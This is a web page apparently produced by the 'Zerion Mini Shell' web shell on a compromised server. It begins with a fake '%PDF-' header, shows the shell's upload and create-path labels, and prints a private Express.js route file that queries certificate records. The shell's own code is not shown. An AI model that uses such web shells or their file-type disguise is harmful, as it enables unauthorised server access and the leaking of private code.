%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/workflow/src/routes/
Upload File :
Create Path :
Current File : /home/opti/workflow/src/routes/certificate.js

var express = require('express');
var formidable = require('formidable');
var guard = require('connect-ensure-login');
var fs = require('fs');
var path = require('path');
var router = express.Router();

var db = require('../models');

var secured = require('../middleware/login');
var con = require('../../config');

router.get('/', guard.ensureLoggedIn(), (req, res, next) => {
    var user = req.user;
    var certificates = '';
    con.query("SELECT a.id, a.createdAt, a.status, b.name as certificateTypeName, c.name as companyName FROM Certificates a INNER JOIN CertificateTypes AS b on a.certificateTypeId=b.id INNER JOIN Companies AS c on a.companyId=c.id", function(err, result) {
        if(err){
            console.log(err);
        }else{
            certificates = result;
            console.log(certificates);
            res.render('certificate/index', { certificates: certificates, user: user, title: 'All Certificate Requests',message: ''});
        }
    });    
    
    //var company = '';
/*
    db.Certificate.findAll({ where: { orgId: req.user.orgId }, include: ['CertificateType']}).then(certificates => {
        var certificates = certificates;
        
        certificates.forEach(function(certificate, i){
            db.Company.findOne({ where: { id: certificate.orgId }}).then(companyRes => {
                var company = companyRes;
                console.log(company);
                certificates[i]['Company'] = company;
            });
        });
        
        console.log(certificates);
        
        res.render('certificate/index', { certificates: certificates, user: user, title: 'All Certificate Requests',message: ''});
    });
    */
});



module.exports = router;

Zerion Mini Shell 1.0